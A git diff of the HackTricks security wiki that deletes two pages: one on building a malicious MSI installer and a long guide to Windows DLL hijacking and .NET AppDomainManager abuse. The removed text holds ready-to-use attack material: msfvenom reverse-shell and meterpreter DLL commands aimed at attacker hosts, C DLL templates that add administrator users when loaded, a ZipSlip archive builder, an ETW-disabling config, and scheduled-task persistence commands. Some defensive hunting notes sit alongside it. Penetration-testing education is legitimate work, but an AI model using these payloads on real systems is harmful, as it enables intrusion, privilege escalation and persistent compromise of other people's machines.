-- [Revisiting COM Hijacking (SpecterOps)](https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/)
-- [CLSID Key (Microsoft Learn)](https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm)
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
deleted file mode 100644
index 3bb6dc73eae..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# Creating Malicious MSI and Getting Root
-
-{{#include ../../banners/hacktricks-training.md}}
-
-The creation of the MSI installer will be done using wixtools, specifically [wixtools](http://wixtoolset.org) will be utilized. It is worth mentioning that alternative MSI builders were attempted, but they were not successful in this particular case.
-
-For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.
-
-The aim is to generate an MSI that will execute the lnk file. In order to achieve this, the following XML code could be employed ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
-
-```html
-<?xml version="1.0"?>
-<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
-<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
-Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
-<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
-<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
-<Directory Id="TARGETDIR" Name="SourceDir">
-<Directory Id="ProgramFilesFolder">
-<Directory Id="INSTALLLOCATION" Name="Example">
-<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
-</Component>
-</Directory>
-</Directory>
-</Directory>
-<Feature Id="DefaultFeature" Level="1">
-<ComponentRef Id="ApplicationFiles"/>
-</Feature>
-<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
-<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
-Impersonate="yes"/>
-<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
-fail_here
-</CustomAction>
-<InstallExecuteSequence>
-<Custom Action="Stage1" After="InstallInitialize"></Custom>
-<Custom Action="Stage2" Before="InstallFiles"></Custom>
-</InstallExecuteSequence>
-</Product>
-</Wix>
-```
-
-It is important to note that the Package element contains attributes such as InstallerVersion and Compressed, specifying the version of the installer and indicating whether the package is compressed or not, respectively.
-
-The creation process involves utilizing candle.exe, a tool from wixtools, to generate a wixobject from msi.xml. The following command should be executed:
-
-```
-candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
-```
-
-Additionally, it is worth mentioning that an image is provided in the post, which depicts the command and its output. You can refer to it for visual guidance.
-
-Furthermore, light.exe, another tool from wixtools, will be employed to create the MSI file from the wixobject. The command to be executed is as follows:
-
-```
-light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
-```
-
-Similar to the previous command, an image is included in the post illustrating the command and its output.
-
-Please note that while this summary aims to provide valuable information, it is recommended to refer to the original post for more comprehensive details and accurate instructions.
-
-## References
-
-- [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
-- [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
-  [wixtools](http://wixtoolset.org)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
deleted file mode 100644
index 351e89fd88c..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
+++ /dev/null
@@ -1,765 +0,0 @@
-# Dll Hijacking
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-## Basic Information
-
-DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like **DLL Spoofing, Injection, and Side-Loading**. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.
-
-### Common Techniques
-
-Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:
-
-1. **DLL Replacement**: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality.
-2. **DLL Search Order Hijacking**: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern.
-3. **Phantom DLL Hijacking**: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL.
-4. **DLL Redirection**: Modifying search parameters like `%PATH%` or `.exe.manifest` / `.exe.local` files to direct the application to the malicious DLL.
-5. **WinSxS DLL Replacement**: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
-6. **Relative Path DLL Hijacking**: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.
-
-
-### AppDomainManager hijacking (`<exe>.config` + attacker assembly)
-
-Classic DLL sideloading is not the only way to make a trusted **.NET Framework** process load attacker code. If the target executable is a **managed** application, the CLR also consults an **application configuration file** named after the executable (for example `Setup.exe.config`). That file can define a custom **AppDomainManager**. If the config points to an attacker-controlled assembly placed next to the EXE, the CLR loads it **before the application's normal code path** and runs inside the trusted process.
-
-Per Microsoft's .NET Framework configuration schema, both `<appDomainManagerAssembly>` and `<appDomainManagerType>` must be present for the custom manager to be used.
-
-Minimal config:
-
-```xml
-<configuration>
-  <runtime>
-    <appDomainManagerAssembly value="EvilMgr, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
-    <appDomainManagerType value="EvilMgr.Loader" />
-  </runtime>
-</configuration>
-```
-
-Minimal manager:
-
-```csharp
-using System; using System.Runtime.InteropServices;
-public sealed class Loader : AppDomainManager {
-  [DllImport("user32.dll")] static extern int MessageBox(IntPtr h, string t, string c, int m);
-  public override void InitializeNewDomain(AppDomainSetup appDomainInfo) {
-    MessageBox(IntPtr.Zero, "Loaded inside trusted .NET host", "AppDomain hijack", 0);
-  }
-}
-```
-
-Practical notes:
-- This is **.NET Framework specific** tradecraft. It depends on CLR config parsing, not on the Win32 DLL search order.
-- The host must really be a **managed EXE**. Quick triage: `sigcheck -m target.exe`, `corflags target.exe`, or check for the **CLR Runtime Header** in PE metadata.
-- The config filename must match the executable name exactly (`<binary>.config`) and usually lives **next to the EXE**.
-- This is useful with **signed Microsoft/vendor binaries** because the trusted EXE remains untouched while the malicious managed assembly executes in-process.
-- If you already have a writable installer/update directory, AppDomainManager hijacking can be used as the **first stage**, followed by classic DLL sideloading or reflective loading for later stages.
-
-### AppDomainManager as a downloader + scheduled-task bootstrap
-
-A practical intrusion pattern is to pair the trusted managed EXE with both a malicious `*.config` and a malicious AppDomainManager DLL that acts only as a **small bootstrapper**:
-
-1. User launches a signed .NET installer or updater from a believable location such as `%USERPROFILE%\Downloads`.
-2. The adjacent config causes the CLR to load the attacker assembly **before** the legitimate app logic starts.
-3. The malicious manager performs a **path gate** (for example, only continue if the host EXE is running from `Downloads`, and only let the second stage run from `%LOCALAPPDATA%`).
-4. If the check passes, it downloads the real payload into a user-writable path such as `%LOCALAPPDATA%\PerfWatson2.exe` and installs persistence with a scheduled task.
-
-Why this variant matters:
-- The signed host EXE stays unchanged, so triage that only hashes the main binary may miss the compromise.
-- Simple **path-based anti-analysis** is common: moving the ZIP/EXE/DLL triad to Desktop, Temp, or a sandbox path can intentionally break the chain.
-- The first-stage AppDomainManager DLL can stay tiny and low-noise while the real implant is fetched later.
-
-Minimal persistence example frequently seen with this pattern:
-
-```cmd
-schtasks /create /tn "GoogleUpdaterTaskSystem140.0.7272.0" /sc onlogon /tr "%LOCALAPPDATA%\PerfWatson2.exe" /rl highest /f
-```
-
-Notes:
-- ` /rl highest` means **highest available** for that user/session; it is not a guaranteed SYSTEM escalation by itself.
-- This technique is often better categorized as **execution/persistence via .NET config abuse** than classic missing-DLL search-order hijacking, even though operators frequently chain both together.
-
-Detection pivots:
-- Signed .NET executables launched from **ZIP extraction paths**, `Downloads`, `%TEMP%`, or other user-writable folders with a **colocated** `<exe>.config`.
-- New scheduled tasks whose action points into `%LOCALAPPDATA%`, `%APPDATA%`, or `Downloads` and whose names mimic browser/vendor updaters.
-- Short-lived managed bootstrap processes that immediately download another EXE, then spawn `schtasks.exe`.
-- Samples that exit early unless the executable path matches an expected user-profile directory.
-
-### Hijacking an existing scheduled task to relaunch the sideload chain
-
-For persistence, do not only look for **creating a new task**. Some intrusion sets wait until a legitimate installer creates a **normal updater task** and then **rewrite the task action** so the existing name, author, and trigger stay familiar to defenders.
-
-Reusable workflow:
-1. Install/run the legitimate software and identify the task it normally creates.
-2. Export the task XML and note the current `<Exec><Command>` / `<Arguments>` values.
-3. Replace only the action so the task starts your **trusted host EXE** from a user-writable staging directory, which then side-loads or AppDomain-loads the real payload.
-4. Re-register the same task name instead of creating a new obvious persistence artifact.
-
-```cmd
-schtasks /query /tn "<TaskName>" /xml > task.xml
-:: edit the <Exec><Command> and optional <Arguments> nodes
-schtasks /create /tn "<TaskName>" /xml task.xml /f
-```
-
-Why it is stealthier:
-- The task name can still look legitimate (for example a vendor updater).
-- The **Task Scheduler service** launches it, so parent/ancestor validation often sees the expected scheduling chain instead of `explorer.exe`.
-- DFIR teams that only hunt for **new task names** may miss a task whose registration already existed but whose action now points to `%LOCALAPPDATA%`, `%APPDATA%`, or another attacker-controlled path.
-
-Fast hunting pivots:
-- `schtasks /query /fo LIST /v | findstr /i "TaskName Task To Run"`
-- `Get-ScheduledTask | % { [pscustomobject]@{TaskName=$_.TaskName; TaskPath=$_.TaskPath; Exec=($_.Actions | % Execute)} }`
-- Compare `C:\Windows\System32\Tasks\*` XML and `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\*` metadata against a baseline.
-- Alert when a **vendor-looking updater task** executes from **user-writable directories** or launches a .NET EXE with a colocated `*.config` file.
-
-> [!TIP]
-> For a step-by-step chain that layers HTML staging, AES-CTR configs, and .NET implants on top of DLL sideloading, review the workflow below.
-
-{{#ref}}
-advanced-html-staged-dll-sideloading.md
-{{#endref}}
-
-## Finding missing Dlls
-
-The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**:
-
-![Common Techniques - Finding missing Dlls: The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters](<../../../images/image (961).png>)
-
-![Common Techniques - Finding missing Dlls: The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters](<../../../images/image (230).png>)
-
-and just show the **File System Activity**:
-
-![Common Techniques - Finding missing Dlls: and just show the File System Activity](<../../../images/image (153).png>)
-
-If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\
-If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" `<exec name>`, execute it, and stop capturing events**.
-
-## Exploiting Missing Dlls
-
-In order to escalate privileges, the best chance we have is to be able to **write a dll that a privilege process will try to load** in some of **place where it is going to be searched**. Therefore, we will be able to **write** a dll in a **folder** where the **dll is searched before** the folder where the **original dll** is (weird case), or we will be able to **write on some folder where the dll is going to be searched** and the original **dll doesn't exist** on any folder.
-
-### Dll Search Order
-
-**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
-
-**Windows applications** look for DLLs by following a set of **pre-defined search paths**, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.
-
-You can see the **DLL search order on 32-bit** systems below:
-
-1. The directory from which the application loaded.
-2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
-3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
-4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
-   1. (_C:\Windows_)
-5. The current directory.
-6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
-
-That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value and set it to 0 (default is enabled).
-
-If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD_WITH_ALTERED_SEARCH_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading.
-
-Finally, note that **a dll could be loaded indicating the absolute path instead just the name**. In that case that dll is **only going to be searched in that path** (if the dll has any dependencies, they are going to be searched as just loaded by name).
-
-There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
-
-### Chaining an arbitrary file write into a missing-DLL hijack
-
-1. Use **ProcMon** filters (`Process Name` = target EXE, `Path` ends with `.dll`, `Result` = `NAME NOT FOUND`) to collect DLL names that the process probes but cannot find.
-2. If the binary runs on a **schedule/service**, dropping a DLL with one of those names into the **application directory** (search-order entry #1) will be loaded on the next execution. In one .NET scanner case the process looked for `hostfxr.dll` in `C:\samples\app\` before loading the real copy from `C:\Program Files\dotnet\fxr\...`.
-3. Build a payload DLL (e.g. reverse shell) with any export: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f dll -o hostfxr.dll`.
-4. If your primitive is a **ZipSlip-style arbitrary write**, craft a ZIP whose entry escapes the extraction dir so the DLL lands in the app folder:
-
-```python
-import zipfile
-with zipfile.ZipFile("slip-shell.zip", "w") as z:
-    z.writestr("../app/hostfxr.dll", open("hostfxr.dll","rb").read())
-```
-
-5. Deliver the archive to the watched inbox/share; when the scheduled task re-launches the process it loads the malicious DLL and executes your code as the service account.
-
-### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
-
-An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
-
-Key idea
-- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
-- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
-
-Notes/limitations
-- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
-- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
-- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
-
-Minimal C example (ntdll, wide strings, simplified error handling):
-
-<details>
-<summary>Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath</summary>
-
-```c
-#include <windows.h>
-#include <winternl.h>
-#pragma comment(lib, "ntdll.lib")
-
-// Prototype (not in winternl.h in older SDKs)
-typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
-    PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
-    PUNICODE_STRING ImagePathName,
-    PUNICODE_STRING DllPath,
-    PUNICODE_STRING CurrentDirectory,
-    PUNICODE_STRING CommandLine,
-    PVOID Environment,
-    PUNICODE_STRING WindowTitle,
-    PUNICODE_STRING DesktopInfo,
-    PUNICODE_STRING ShellInfo,
-    PUNICODE_STRING RuntimeData,
-    ULONG Flags
-);
-
-typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
-    PUNICODE_STRING NtImagePathName,
-    ULONG Attributes,
-    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
-    PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
-    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
-    HANDLE ParentProcess,
-    BOOLEAN InheritHandles,
-    HANDLE DebugPort,
-    HANDLE ExceptionPort,
-    PRTL_USER_PROCESS_INFORMATION ProcessInformation
-);
-
-static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
-    DWORD n = GetModuleFileNameW(h, out, cch);
-    for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
-}
-
-int wmain(void) {
-    // Target Microsoft-signed, DLL-hijackable binary (example)
-    const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
-
-    // Build custom DllPath = directory of our current module (e.g., the unpacked archive)
-    wchar_t dllDir[MAX_PATH];
-    DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
-
-    UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
-    RtlInitUnicodeString(&uImage, image);
-    RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
-    RtlInitUnicodeString(&uDllPath, dllDir);      // Attacker-controlled directory
-    RtlInitUnicodeString(&uCurDir, dllDir);
-
-    RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
-        (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
-    RtlCreateUserProcess_t pRtlCreateUserProcess =
-        (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
-
-    RTL_USER_PROCESS_PARAMETERS *pp = NULL;
-    NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
-                                                NULL, NULL, NULL, NULL, NULL, 0);
-    if (st < 0) return 1;
-
-    RTL_USER_PROCESS_INFORMATION pi = {0};
-    st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
-    if (st < 0) return 1;
-
-    // Resume main thread etc. if created suspended (not shown here)
-    return 0;
-}
-```
-
-</details>
-
-Operational usage example
-- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
-- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
-
-This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
-
-
-### .NET AppDomainManager hijacking via `.exe.config`
-
-For **.NET Framework** targets, sideloading can be done **before `Main()`** without patching memory by abusing the application's adjacent **`.exe.config`** file. Instead of relying only on the Win32 DLL search order, the attacker places a legitimate .NET EXE next to a malicious config and one or more attacker-controlled assemblies.
-
-How the chain works:
-1. The host EXE starts and the **CLR reads `<exe>.config`**.
-2. The config sets **`<appDomainManagerAssembly>`** and **`<appDomainManagerType>`** so the runtime instantiates an attacker-controlled `AppDomainManager`.
-3. The malicious manager gets **pre-`Main()` execution** inside the trusted host process.
-4. The same config can force the CLR to resolve local assemblies first (for example `InitInstall.dll`, `Updater.dll`, `uevmonitor.dll`) and can weaken runtime validation/telemetry without inline patching.
-
-Campaign-style pattern (exact nesting can vary by directive / CLR version):
-
-```xml
-<configuration>
-  <runtime>
-    <appDomainManagerAssembly value="Updater" />
-    <appDomainManagerType value="MyAppDomainManager" />
-    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
-      <probing privatePath="." />
-      <publisherPolicy apply="no" />
-    </assemblyBinding>
-    <bypassTrustedAppStrongNames enabled="true" />
-    <etwEnable enabled="false" />
-  </runtime>
-  <startup>
-    <requiredRuntime version="v4.0.30319" safemode="true" />
-  </startup>
-</configuration>
-```
-
-Why this is useful:
-- **`<probing privatePath="."/>`** keeps assembly resolution in the application directory, turning the folder into a predictable sideloading surface.
-- **`<appDomainManagerAssembly>` + `<appDomainManagerType>`** move execution into attacker code during CLR initialization, before the legitimate app logic runs.
-- **`<bypassTrustedAppStrongNames enabled="true"/>`** can let a full-trust app load unsigned or tampered assemblies without a strong-name validation failure.
-- **`<publisherPolicy apply="no"/>`** avoids publisher-policy redirects to newer assemblies.
-- **`<requiredRuntime ... safemode="true"/>`** makes runtime selection more deterministic.
-- **`<etwEnable enabled="false"/>`** is especially interesting because the **CLR disables its own ETW visibility** from configuration instead of the implant patching `EtwEventWrite` in memory.
-
-Operational pattern seen in recent campaigns:
-- Stage 1 drops `setup.exe`, `setup.exe.config`, and local assemblies.
-- Stage 2 copies them into a believable **AppData update** folder, renames the host to something like `update.exe`, and relaunches it via a **scheduled task**.
-- Stage 3 verifies execution context (for example expected parent `svchost.exe` from Task Scheduler) before loading the final RAT DLL/export.
-
-Hunting ideas:
-- Signed or otherwise legitimate **.NET executables** running with suspicious adjacent **`.config`** files in user-writable locations.
-- `.config` files containing **`appDomainManagerAssembly`**, **`appDomainManagerType`**, **`probing privatePath="."`**, **`bypassTrustedAppStrongNames`**, or **`etwEnable enabled="false"`**.
-- Scheduled tasks that relaunch renamed update binaries from **`%LOCALAPPDATA%`** or app-specific `\bin\update\` directories.
-- Parent/child chains where a scheduled task launches a trusted .NET host that immediately loads non-vendor assemblies from its own directory.
-
-#### Exceptions on dll search order from Windows docs
-
-Certain exceptions to the standard DLL search order are noted in Windows documentation:
-
-- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
-- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
-- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
-
-### Escalating Privileges
-
-**Requirements**:
-
-- Identify a process that operates or will operate under **different privileges** (horizontal or lateral movement), which is **lacking a DLL**.
-- Ensure **write access** is available for any **directory** in which the **DLL** will be **searched for**. This location might be the directory of the executable or a directory within the system path.
-
-Yeah, the requisites are complicated to find as **by default it's kind of weird to find a privileged executable missing a dll** and it's even **more weird to have write permissions on a system path folder** (you can't by default). But, in misconfigured environments this is possible.\
-In the case you are lucky and you find yourself meeting the requirements, you could check the [UACME](https://github.com/hfiref0x/UACME) project. Even if the **main goal of the project is bypass UAC**, you may find there a **PoC** of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions).
-
-Note that you can **check your permissions in a folder** doing:
-
-```bash
-accesschk.exe -dqv "C:\Python27"
-icacls "C:\Python27"
-```
-
-And **check permissions of all folders inside PATH**:
-
-```bash
-for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
-```
-
-You can also check the imports of an executable and the exports of a dll with:
-
-```bash
-dumpbin /imports C:\path\Tools\putty\Putty.exe
-dumpbin /export /path/file.dll
-```
-
-For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
-
-
-{{#ref}}
-writable-sys-path-dll-hijacking-privesc.md
-{{#endref}}
-
-### Automated tools
-
-[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.\
-Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
-
-### Example
-
-In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) or from[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
-Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**.
-
-## **Creating and compiling Dlls**
-
-### **Dll Proxifying**
-
-Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
-
-With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**.
-
-### **Meterpreter**
-
-**Get rev shell (x64):**
-
-```bash
-msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
-```
-
-**Get a meterpreter (x86):**
-
-```bash
-msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
-```
-
-**Create a user (x86 I didn't see a x64 version):**
-
-```bash
-msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
-```
-
-### Your own
-
-Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**.
-
-<details>
-<summary>C DLL template (Win10)</summary>
-
-```c
-// Tested in Win10
-// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
-#include <windows.h>
-BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
-    switch(dwReason){
-        case DLL_PROCESS_ATTACH:
-            system("whoami > C:\\users\\username\\whoami.txt");
-            WinExec("calc.exe", 0); //This doesn't accept redirections like system
-            break;
-        case DLL_PROCESS_DETACH:
-            break;
-        case DLL_THREAD_ATTACH:
-            break;
-        case DLL_THREAD_DETACH:
-            break;
-    }
-    return TRUE;
-}
-```
-
-</details>
-
-```c
-// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
-// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
-
-#include <windows.h>
-BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
-    if (dwReason == DLL_PROCESS_ATTACH){
-        system("cmd.exe /k net localgroup administrators user /add");
-        ExitProcess(0);
-    }
-    return TRUE;
-}
-```
-
-<details>
-<summary>C++ DLL example with user creation</summary>
-
-```c
-//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
-//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
-
-#include <windows.h>
-
-int owned()
-{
-  WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
-  exit(0);
-  return 0;
-}
-
-BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
-{
-  owned();
-  return 0;
-}
-```
-
-</details>
-
-<details>
-<summary>Alternate C DLL with thread entry</summary>
-
-```c
-//Another possible DLL
-// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
-
-#include<windows.h>
-#include<stdlib.h>
-#include<stdio.h>
-
-void Entry (){ //Default function that is executed when the DLL is loaded
-    system("cmd");
-}
-
-BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
-    switch (ul_reason_for_call){
-        case DLL_PROCESS_ATTACH:
-            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
-            break;
-        case DLL_THREAD_ATTACH:
-        case DLL_THREAD_DETACH:
-        case DLL_PROCESS_DEATCH:
-            break;
-    }
-    return TRUE;
-}
-```
-
-</details>
-
-## Case Study: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)
-
-Windows Narrator.exe still probes a predictable, language-specific localization DLL on start that can be hijacked for arbitrary code execution and persistence.
-
-Key facts
-- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
-- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
-- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.
-
-Discovery with Procmon
-- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
-- Start Narrator and observe the attempted load of the above path.
-
-Minimal DLL
-```c
-// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
-BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
-  if (r == DLL_PROCESS_ATTACH) {
-    // Optional OPSEC: DisableThreadLibraryCalls(h);
-    // Suspend/quiet Narrator main thread, then run payload
-    // (see PoC for implementation details)
-  }
-  return TRUE;
-}
-```
-
